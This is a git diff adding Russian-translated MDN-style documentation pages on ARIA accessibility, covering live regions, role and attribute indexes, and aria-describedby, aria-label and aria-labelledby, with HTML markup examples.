initial commit

2480 files changed, 369025 insertions, 0 deletions

diff --git a/files/ru/web/accessibility/aria/aria_live_regions/index.html b/files/ru/web/accessibility/aria/aria_live_regions/index.html
new file mode 100644
index 0000000000..6f22cb75a6
--- /dev/null
+++ b/files/ru/web/accessibility/aria/aria_live_regions/index.html
@@ -0,0 +1,111 @@
+---
+title: ARIA Live Regions
+slug: Web/Accessibility/ARIA/ARIA_Live_Regions
+translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions
+---
+<h2 id="Introduction_2"><span class="mw-headline" id="Introduction">Introduction </span></h2>
+
+<p>In the past, a web page change could only be spoken in entirety which often annoyed a user, or by speaking very little to nothing, making some or all information inaccessible. Until recently, screen readers have not been able to improve this because no standardized markup existed to alert the screen reader to a change. ARIA live regions fill this gap and provide suggestions to screen readers regarding whether and how to interrupt users with a change.</p>
+
+<h2 id="Simple_Live_Regions"><span class="mw-headline" id="Live_Region_State">Simple Live Regions</span></h2>
+
+<p>Dynamic content which updates without a page reload is generally either a region or a widget. Simple content changes which are not interactive should be marked as live regions. Below is a list of each related ARIA live region property with a description.</p>
+
+<ol>
+ <li><strong>aria-live</strong>: The aria-live=POLITENESS_SETTING is used to set the priority with which screen reader should treat updates to live regions - the possible settings are: off/polite/assertive. The default setting is 'off'. This attribute is by far the most important.</li>
+ <li>
+  <p class="comment"><strong>aria-controls</strong>: The aria-controls=[IDLIST] is used to associate a control with the regions that it controls. Regions are identified just like an ID in a div, and multiple regions can be associated with a control using a space, e.g. aria-controls="myRegionID1 myRegionsID2".</p>
+
+  <div class="warning">Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.</div>
+ </li>
+</ol>
+
+<p>Normally, only aria-live="polite" is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.</p>
+
+<p>For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off".</p>
+
+<h3 id="Simple_Use_Case_combobox_updates_useful_on-screen_information">Simple Use Case: combobox updates useful on-screen information</h3>
+
+<p>A website specializing in providing information about birds provides a drop down box. When a bird is selected from the drop down, a region on the page is updated with details about the type of bird selected.</p>
+
+<p><code>&lt;select size="1" id="bird-selector" aria-controls="bird-info"&gt;&lt;option&gt; .... &lt;/select&gt;</code></p>
+
+<p><code>&lt;div role="region" id="bird-info" aria-live="polite"&gt;</code></p>
+
+<p>As the user selects a new bird, the info is spoken. Because "polite" is chosen, the screen reader will wait until the user pauses. Thus, moving down the list will not speak every bird the user visits, only the one finally chosen.</p>
+
+<h2 id="Preferring_Specialized_Live_Region_Roles">Preferring Specialized Live Region Roles</h2>
+
+<p>In the following well-known predefined cases it is better to use a specific provided "live region role":</p>
+
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col">Role</th>
+   <th scope="col">Description</th>
+   <th scope="col">Compatibility Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>log</td>
+   <td>Chat, error, game or other type of log</td>
+   <td>To maximize compatibility, add a redundant aria-live="polite" when using this role.</td>
+  </tr>
+  <tr>
+   <td>status</td>
+   <td>A status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.</td>
+   <td>To maximize compatibility, add a redundant aria-live="polite" when using this role.</td>
+  </tr>
+  <tr>
+   <td>alert</td>
+   <td>Error or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)</td>
+   <td>To maximize compatibility, some people recommend adding a redundant aria-live="assertive" when using this role. However, adding both aria-live and role=alert causes double speaking issues in VoiceOver on iOS.</td>
+  </tr>
+  <tr>
+   <td>progressbar</td>
+   <td>A hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>marquee</td>
+   <td>for text which scrolls, such as a stock ticker.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>timer</td>
+   <td>or any kind of timer or clock, such as a countdown timer or stopwatch readout.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Advanced_Live_Regions">Advanced Live Regions</h2>
+
+<p>(TBD: what is supported where?)</p>
+
+<ol>
+ <li><strong>aria-atomic</strong>: The aria-atomic=BOOLEAN is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes - the possible settings are false/true where false is the default.</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute"><strong>aria-relevant</strong></a>: The aria-relevant=[LIST_OF_CHANGES] is used to set what types of changes are relevant to a live region - the possible settings are additions/removals/text/all where "additions text" is the default.</li>
+ <li><strong>aria-labelledby</strong>: The aria-labelledby=[IDLIST] is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region and again label identifiers are separated with a space.</li>
+ <li><strong>aria-describedby</strong>: The aria-describedby=[IDLIST] is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.</li>
+</ol>
+
+<h3 id="Advanced_Use_Case_Roster"><span class="mw-headline" id="Use_Case:_Roster">Advanced Use Case: Roster</span></h3>
+
+<p>A chat site would like to display a list of users currently logged on. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).</p>
+
+<pre>&lt;ul id="roster" aria-live="polite" aria-relevant="additions removals"&gt;
+	&lt;!-- use JavaScript to add remove users here--&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Breakdown of ARIA live properties:</p>
+
+<ul>
+ <li>aria-live="polite" indicates that the screen reader should wait until the user is idle before presenting updates to the user. This is the most commonly used value, as interrupting the user with "assertive" might interrupt their flow.</li>
+ <li>aria-atomic is not set ("false" by default) so that only the added or removed users should be spoken and not the entire roster each time.</li>
+ <li>aria-relevant="additions removals" ensures that both users added or removed to the roster will be spoken.</li>
+</ul>
+
+<p>TBD: Realistic use case for aria-atomic="true"</p>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html
new file mode 100644
index 0000000000..2e29856a5c
--- /dev/null
+++ b/files/ru/web/accessibility/aria/aria_techniques/index.html
@@ -0,0 +1,169 @@
+---
+title: Использование ARIA
+slug: Web/Accessibility/ARIA/ARIA_Techniques
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques
+---
+<p> </p>
+
+<h2 id="Роли"> Роли</h2>
+
+<p> </p>
+
+<h3 id="Роли_виджета"><a href="/en/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_switch_role">Роли виджета</a></h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role" title="Using the button role">Button</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_checkbox_role" title="Using the checkbox role">Checkbox</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role" title="Using the dialog role">Dialog</a></li>
+ <li>Gridcell</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="Using the Link role">Link</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="Using the Log role">Log</a></li>
+ <li>Marquee</li>
+ <li>Menuitem</li>
+ <li>Menuitemcheckbox</li>
+ <li>Menuitemradio</li>
+ <li>Option</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radio</a></li>
+ <li>Scrollbar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">Slider</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">status</a></li>
+ <li>Tab</li>
+ <li>Tabpanel</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">textbox</a></li>
+ <li>Timer</li>
+ <li>Tooltip</li>
+ <li>Treeitem</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_switch_role">switch</a></li>
+</ul>
+</div>
+
+<h3 id="Композиционные_роли">Композиционные роли</h3>
+
+<p>Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.</p>
+
+<div class="index">
+<ul>
+ <li>Combobox</li>
+ <li>Grid (including row, gridcell, rowheader, columnheader roles)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox</a> (including option role)</li>
+ <li>Menu</li>
+ <li>Menubar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radiogroup (see radio role)</a></li>
+ <li>Tablist (including tab and  tabpanel roles)</li>
+ <li>Tree</li>
+ <li>Treegrid</li>
+</ul>
+</div>
+
+<h3 id="Document_structure_roles"><a href="https://www.w3.org/TR/wai-aria/roles#document_structure_roles">Document structure roles </a></h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">Article</a></li>
+ <li>Definition</li>
+ <li>Directory</li>
+ <li>Document</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">Group</a></li>
+ <li>Heading</li>
+ <li>Img</li>
+ <li>List</li>
+ <li>Listitem</li>
+ <li>Math</li>
+ <li>Note</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">Presentation</a></li>
+ <li>Region</li>
+ <li>Separator</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">Toolbar</a></li>
+</ul>
+</div>
+
+<h3 id="Landmark_roles"><a href="https://www.w3.org/TR/wai-aria/roles#landmark_roles">Landmark roles </a></h3>
+
+<div class="index">
+<ul>
+ <li>Application</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">Banner</a></li>
+ <li>Complementary</li>
+ <li>Contentinfo</li>
+ <li>Form</li>
+ <li>Main</li>
+ <li>Navigation</li>
+ <li>Search</li>
+</ul>
+</div>
+
+<h2 id="States_and_properties">States and properties</h2>
+
+<p> </p>
+
+<h3 id="Widget_attributes">Widget attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-autocomplete</li>
+ <li>aria-checked</li>
+ <li>aria-current</li>
+ <li>aria-disabled</li>
+ <li>aria-expanded</li>
+ <li>aria-haspopup</li>
+ <li>aria-hidden</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
+ <li>aria-level</li>
+ <li>aria-multiline</li>
+ <li>aria-multiselectable</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
+ <li>aria-pressed</li>
+ <li>aria-readonly</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
+ <li>aria-selected</li>
+ <li>aria-sort</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
+</ul>
+</div>
+
+<h3 id="Live_region_attributes">Live region attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-live</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute">aria-relevant</a></li>
+ <li>aria-atomic</li>
+ <li>aria-busy</li>
+</ul>
+</div>
+
+<h3 id="Drag_drop_attributes">Drag &amp; drop attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-dropeffect</li>
+ <li>aria-dragged</li>
+</ul>
+</div>
+
+<h3 id="Relationship_attributes">Relationship attributes</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
+ <li>aria-controls</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
+ <li>aria-flowto</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
+ <li>aria-owns</li>
+ <li>aria-posinset</li>
+ <li>aria-setsize</li>
+</ul>
+</div>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
new file mode 100644
index 0000000000..c23c3725b4
--- /dev/null
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
@@ -0,0 +1,87 @@
+---
+title: Использование атрибута aria-describedby
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute
+tags:
+  - доступность
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute
+---
+<h3 id="Описание">Описание</h3>
+
+<p><span class="seoSummary">Атрибут <a class="external" href="https://www.w3.org/TR/wai-aria/#aria-describedby" rel="external" title="https://www.w3.org/TR/wai-aria/#aria-describedby"><code>aria-describedby</code></a> используется для указания ID элементов, описывающих объект. Он используется для установления отношений между элементами управления или группами и текстом, описывающим их. Это очень похоже на <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="Using the aria-labelledby attribute">aria-labelledby</a>: лэйбл описывает сущность объекта, в то время как описание предоставляет дополнительную информацию, которая может понадобиться пользователю.</span></p>
+
+<p>Атрибут <code>aria-describedby</code> используется не только для элементов форм; он, также, используется для связывания статического текста с элементами управления, группами элементов, панелями, областями, которые имеют заголовок, определениями, и др. В разделе {{ anch("Examples") }} ниже приведено больше информации о том как использовать атрибут в этих случаях.</p>
+
+<p>Этот атрибут может использоваться с любым типичным элементом HTML-форм; он не ограничивается элементами, которым назначена  ARIA <code>role</code> .</p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>разделенный пробелами список ID элементов</p>
+
+<h3 id="Возможные_последствия_для_пользовательских_агентов_и_вспомогательных_технологийP">Возможные последствия для пользовательских агентов и вспомогательных технологийP</h3>
+
+
+
+<div class="note"><strong>Примечание:</strong> Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведенная выше информация является одним из таких мнений и поэтому не носит нормативного характера.</div>
+
+<h3 id="Примеры">Примеры</h3>
+
+<h4 id="Пример_1_Связвание_приложения_и_описания">Пример 1: Связвание приложения и описания</h4>
+
+<p>В примере ниже, вводный параграф описывает приложение календаря. <code>aria-describedby</code> используется для связывания параграфа с контейнером приложения.</p>
+
+<pre class="brush: html">&lt;div role="application" aria-labelledby="calendar" aria-describedby="info"&gt;
+    &lt;h1 id="calendar"&gt;Calendar&lt;/h1&gt;
+    &lt;p id="info"&gt;
+        This calendar shows the game schedule for the Boston Red Sox.
+    &lt;/p&gt;
+    &lt;div role="grid"&gt;
+        ...
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Пример_2_Кнопка_закрытия">Пример 2: Кнопка закрытия</h4>
+
+<p>В примере ниже, ссылка, которая функционирует как кнопка закрытия диалога, описана в другом месте документа. Атрибут aria-describedby используется для связывания описания с ссылкой.</p>
+
+<pre class="brush: html">&lt;button aria-label="Close" aria-describedby="descriptionClose"
+    onclick="myDialog.close()"&gt;X&lt;/button&gt;
+
+...
+
+&lt;div id="descriptionClose"&gt;Closing this window will discard any information entered and
+return you back to the main page&lt;/div&gt;
+</pre>
+
+<h3 id="Рабочие_примеры">Рабочие примеры:</h3>
+
+<ul>
+ <li><a class="external" href="http://www.oaa-accessibility.org/examplep/checkbox1/" title="http://www.oaa-accessibility.org/examplep/checkbox1/">Checkbox example</a> использования <code>aria-describedby</code></li>
+ <li><a class="external" href="http://www.oaa-accessibility.org/examplep/tooltip1/" title="http://www.oaa-accessibility.org/examplep/tooltip1/">Tooltip example</a> использования <code>aria-describedby</code></li>
+</ul>
+
+<h3 id="Примечания">Примечания</h3>
+
+<ul>
+ <li>Атрибут <code>aria-describedby</code> не предназначен для ссылки, описывающей внешний ресурс - так как это ID, он должен ссылаться на элемент в том же документе  DOM.</li>
+</ul>
+
+<h3 id="Использование_ARIA_ролей">Использование ARIA ролей</h3>
+
+<p>все элементы базовой разметки</p>
+
+<h3 id="Связанные_ARIA_методы">Связанные ARIA методы</h3>
+
+<ul>
+ <li><a href="/en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+</ul>
+
+<h3 id="Совместимость">Совместимость</h3>
+
+<p class="comment">TBD: добавить информацию о поддержке для общих UA и AT комбинаций продуктов</p>
+
+<h3 id="Дополнительные_ресурсы">Дополнительные ресурсы</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-describedby" title="https://www.w3.org/TR/wai-aria/#aria-describedby">WAI-ARIA specification for aria-describedby</a></li>
+</ul>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
new file mode 100644
index 0000000000..b76b9de8c8
--- /dev/null
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
@@ -0,0 +1,68 @@
+---
+title: Использование атрибута aria-label
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+tags:
+  - ARIA
+  - HTML
+  - aria-label
+  - Клиент
+  - доступность
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+---
+<p><span class="seoSummary">Атрибут  <a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" rel="external" title="https://www.w3.org/TR/wai-aria/#aria-label"><code>aria-label</code></a>  создаёт текстовую метку текущего элемента в случае отсутствия видимого текста описания элемента. Если есть видимый текст, обозначающий элемент, используйте вместо этого <a href="/ru/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="Using the aria-labelledby attribute">aria-labelledby</a>.</span></p>
+
+<p>Этот атрибут может быть использован для любого стандартного HTML элемента; не ограничивается элементами с ARIA <code>role</code>.</p>
+
+<h3 class="editable" id="Значение">Значение</h3>
+
+<p>строка</p>
+
+<h3 class="editable" id="Возможные_эффекты_на_клиентские_приложения_и_вспомогательные_технологии">Возможные эффекты на клиентские приложения и вспомогательные технологии</h3>
+
+<div class="editIcon">
+<h3 class="editable" id="sect1"><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute?action=edit&amp;sectionId=3" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+</div>
+
+<div class="note"><strong>Примечание:</strong> Мнения могут отличаться от того, как вспомогательные технологии должны справляться с этой техникой. Информация, представленная выше, является одним из таких мнений и поэтому не является нормативной.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<div id="section_5">
+<h4 id="Пример_1_Множественные_лейблы">Пример 1: Множественные лейблы</h4>
+
+<p>В примере ниже, кнопка стилизована под типичную кнопку "закрыть" с X посередине. Поскольку нет ничего обозначающего значение того, что кнопка закрывает диалог, то <code>aria-label</code> атрибут используется чтобы обеспечить метку для любой вспомогающей технологии.</p>
+</div>
+
+<pre class="deki-transform"><span class="tag">&lt;button aria-label=<span class="str">"Close"</span> onclick=<span class="str">"myDialog.close()"</span>&gt;</span>X<span class="tag">&lt;/button&gt;</span>
+</pre>
+
+<h4 id="Рабочие_примеры">Рабочие примеры:</h4>
+
+<h3 id="Заметки">Заметки</h3>
+
+<ul>
+ <li>Чаще всего API доступности для лейбла привязывается к свойству <em>accessible name</em>.</li>
+ <li>
+  <p>Атрибуты, включая <strong>aria-label, </strong>игнорируются большинством автоматических сервисов перевода<strong>.</strong></p>
+ </li>
+</ul>
+
+<h3 id="Использование_ARIA_ролями">Использование ARIA ролями</h3>
+
+<p>Все элементы базовой разметки</p>
+
+<h3 id="Связанные_ARIA_техники">Связанные ARIA техники</h3>
+
+<ul>
+ <li><a href="/ru/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Использование атрибута aria-labelledby</a></li>
+</ul>
+
+<h3 id="Совместимость">Совместимость</h3>
+
+<p class="comment">Будет определено позднее: Добавить информацию о поддержке для общих комбинаций продуктов UA и AT</p>
+
+<h3 id="Дополнительные_ресурсы">Дополнительные ресурсы</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" title="https://www.w3.org/TR/wai-aria/#aria-label">WAI-ARIA спецификация для aria-label</a></li>
+</ul>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
new file mode 100644
index 0000000000..8736fc801a
--- /dev/null
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
@@ -0,0 +1,140 @@
+---
+title: Использование атрибута aria-labelledby
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute
+---
+<h3 id="Описание">Описание</h3>
+
+<p><span class="seoSummary">Атрибут <a class="external" href="https://www.w3.org/TR/wai-aria/#aria-labelledby" rel="external" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby"><code>aria-labelledby</code></a> содержит идентификаторы (атрибут id) меток для таких обьектов как элементы ввода (input), виджеты, группы. Атрибут создаёт связь между обьектами и их метками. Вспомогательные технологии, такие как средства чтения экрана, используют этот атрибут чтобы собирать все метки в каталог документа, из которого пользователь может перемещаться между ними. Без идентификатора (атрибута id) вспомогательные технологии не могут собрать данные обьекты в каталог.</span></p>
+
+<p><code>aria-labelledby</code> очень похож на <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a>: Метка (label) предоставляет основную информацию об обьекте, в то время как описание (description) даёт более полную/детальную информацию которая может понадобится пользователю.</p>
+
+<p><span class="tlid-translation translation"><span title="">В дополнение к элементам формы вы можете использовать атрибут <code>aria-labelledby</code>, чтобы связать статический текст с виджетами, группами элементов, панелями, областями, которые имеют заголовок, определения и другие типы объектов</span></span>. Ниже, в разделе {{ anch("Примеры") }} приведенны примеры и информация как использовать атрибут в данном виде.</p>
+
+<p>Чтобы повысить совместимость с <a href="https://ru.wikipedia.org/wiki/User_agent">клиетскими приложениями </a>которые не поддерживают ARIA атрибуты, вы можете использовать <code>aria-labelledby</code> вместе элементом {{ HTMLElement("label") }} (используя <code>for</code> атрибут)</p>
+
+<p>Этот атрибут может быть использован в любом типичном HTML элементе формы, он не ограничен элементами которые имеют атрибут ARIA <code>role</code></p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Список идентификаторов (id) разделенных пробелом</p>
+
+<h3 id="Возможные_эфекты_в_клиентских_приложениях_и_вспомогательных_технологиях">Возможные эфекты в клиентских приложениях и вспомогательных технологиях</h3>
+
+<p>Когда клиенсткое приложение вычисляют доступное имя элемента который имеет и атрибут <code>aria-labelledby</code>, и атрибут <code><a href="https://developer.mozilla.org/ru/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code>, они отдадут приоритет <code>aria-labelledby</code></p>
+
+<h3 id="Примеры">Примеры</h3>
+
+<h4 id="Example_1_Multiple_Labels">Example 1: Multiple Labels</h4>
+
+<p>In the example below, each input field is labelled by both its own individual label and by the label for the group:</p>
+
+<pre class="brush: html">&lt;div id="billing"&gt;Billing&lt;/div&gt;
+
+&lt;div&gt;
+    &lt;div id="name"&gt;Name&lt;/div&gt;
+    &lt;input type="text" aria-labelledby="billing name"/&gt;
+&lt;/div&gt;
+&lt;div&gt;
+    &lt;div id="address"&gt;Address&lt;/div&gt;
+    &lt;input type="text" aria-labelledby="billing address"/&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Example_2_Associating_Headings_With_Regions">Example 2: Associating Headings With Regions</h4>
+
+<p>In the example below, header elements are associated with the content they head. Note that the region being referenced is the region that <em>contains</em> the header.</p>
+
+<pre class="brush: html">&lt;div role="main" aria-labelledby="foo"&gt;
+   &lt;h1 id="foo"&gt;Wild fires spread across the San Diego Hills&lt;/h1&gt;
+   Strong winds expand fires ignited by high temperatures ...
+&lt;/div&gt;
+</pre>
+
+<h4 id="Example_3_Radio_Groups">Example 3: Radio Groups</h4>
+
+<p>In the example below, the container of a <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="Using the radio role">radiogroup</a> is associated with its label using the <code>aria-labelledby</code> attribute:</p>
+
+<pre class="brush: html">&lt;div id="radio_label"&gt;My radio label&lt;/div&gt;
+&lt;ul role="radiogroup" aria-labelledby="radio_label"&gt;
+    &lt;li role="radio"&gt;Item #1&lt;/li&gt;
+    &lt;li role="radio"&gt;Item #2&lt;/li&gt;
+    &lt;li role="radio"&gt;Item #3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Example_4_Dialog_Label">Example 4: Dialog Label</h4>
+
+<p>In the example below, the header element that labels the dialog is referred to by the <code>aria-labelledby</code> attribute:</p>
+
+<pre class="brush: html">&lt;div role="dialog" aria-labelledby="dialogheader"&gt;
+    &lt;h2 id="dialogheader"&gt;Choose a File&lt;/h2&gt;
+    ... Dialog contents
+&lt;/div&gt;
+</pre>
+
+<h4 id="Example_5_Inline_Definition">Example 5: Inline Definition</h4>
+
+<p>In the example below, the definition of a term that is described in the natural flow of the narrative is associated with the term itself using the <strong>aria-labelledby</strong> attribute:</p>
+
+<pre class="brush: html">&lt;p&gt;The doctor explained it had been a &lt;dfn id="placebo"&gt;placebo&lt;/dfn&gt;, or &lt;span role="definition" aria-labelledby="placebo"&gt;
+an inert preparation prescribed more for the mental relief of the patient than for its actual effect on a disorder.&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<h4 id="Example_6_Definition_Lists">Example 6: Definition Lists</h4>
+
+<p>In the example below, the definitions in a formal definition list are associated with the terms they define using the <code>aria-labelledby</code> attribute:</p>
+
+<pre class="brush: html">&lt;dl&gt;
+    &lt;dt id="anathema"&gt;anathema&lt;/dt&gt;
+    &lt;dd role="definition" aria-labelledby="anathema"&gt;a ban or curse solemnly pronounced by ecclesiastical authority
+                                                     and accompanied by excommunication&lt;/dd&gt;
+    &lt;dd role="definition" aria-labelledby="anathema"&gt;a vigorous denunciation : cursor&lt;/dd&gt;
+
+    &lt;dt id="homily"&gt;homily&lt;/dt&gt;
+    &lt;dd role="definition" aria-labelledby="homily"&gt;a usually short sermon&lt;/dd&gt;
+    &lt;dd role="definition" aria-labelledby="homily"&gt;a lecture or discourse on or of a moral theme&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="Example_7_Menus">Example 7: Menus</h4>
+
+<p>In the example below, a popup menu is associated with its label using the <code>aria-labelledby</code> attribute:</p>
+
+<pre class="brush: html">&lt;div role="menubar"&gt;
+    &lt;div role="menuitem" aria-haspopup="true" id="fileMenu"&gt;File&lt;/div&gt;
+    &lt;div role="menu" aria-labelledby="fileMenu"&gt;
+        &lt;div role="menuitem"&gt;Open&lt;/div&gt;
+        &lt;div role="menuitem"&gt;Save&lt;/div&gt;
